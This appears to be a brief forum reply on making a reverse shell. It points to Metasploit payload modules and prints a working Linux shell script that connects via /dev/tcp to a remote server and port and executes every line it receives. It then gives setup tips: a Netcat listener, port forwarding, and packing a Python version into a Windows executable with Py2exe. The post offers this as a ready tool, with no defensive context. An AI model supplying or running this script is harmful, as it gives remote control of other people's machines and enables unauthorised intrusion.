Look at the metasploit payload modules.

You could always write one yourself

This shell script will send a reverse shell if its run on Linux:

#!/bin/sh
exec 5<>/dev/tcp/$server/$port
cat <&5 | while read line; do $line 2>&5 >&5; done

You'll have to setup a Netcat listener. And if you're behind a router you'll have to setup port forwarding. Otherwise you can write your own in Python, and convert it to a Windows executable with Py2exe.